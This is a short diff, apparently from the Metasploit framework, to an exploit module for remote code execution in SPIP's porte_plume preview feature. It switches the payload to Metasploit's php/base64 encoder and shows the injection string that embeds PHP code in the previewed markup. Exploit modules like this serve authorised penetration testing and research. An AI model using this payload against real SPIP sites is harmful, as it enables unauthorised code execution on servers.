Use encoder/php/base64

Author: Chocapikk

modules/exploits/multi/http/spip_porte_plume_previsu_rce.rb

@@ -104,13 +104,13 @@ def php_exec_cmd(encoded_payload)
         $c = base64_decode("#{encoded_clean_payload}");
         #{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
     END_OF_PHP_CODE
-    return Rex::Text.encode_base64(shell).to_s
+    return framework.encoders.create('php/base64').encode(shell)
   end
 
   def exploit
     print_status('Preparing to send exploit payload to the target...')
-    compacted_payload = target['Arch'] == ARCH_PHP ? Rex::Text.encode_base64(payload.raw) : php_exec_cmd(payload.encoded)
-    payload = "[<img#{Rex::Text.rand_text_numeric(8)}>->URL`<?php eval(base64_decode('#{compacted_payload}')); ?>`]"
+    compacted_payload = target['Arch'] == ARCH_PHP ? framework.encoders.create('php/base64').encode(payload.encoded) : php_exec_cmd(payload.encoded)
+    payload = "[<img#{Rex::Text.rand_text_numeric(8)}>->URL`<?php #{compacted_payload} ?>`]"
 
     Rex.sleep(0.5)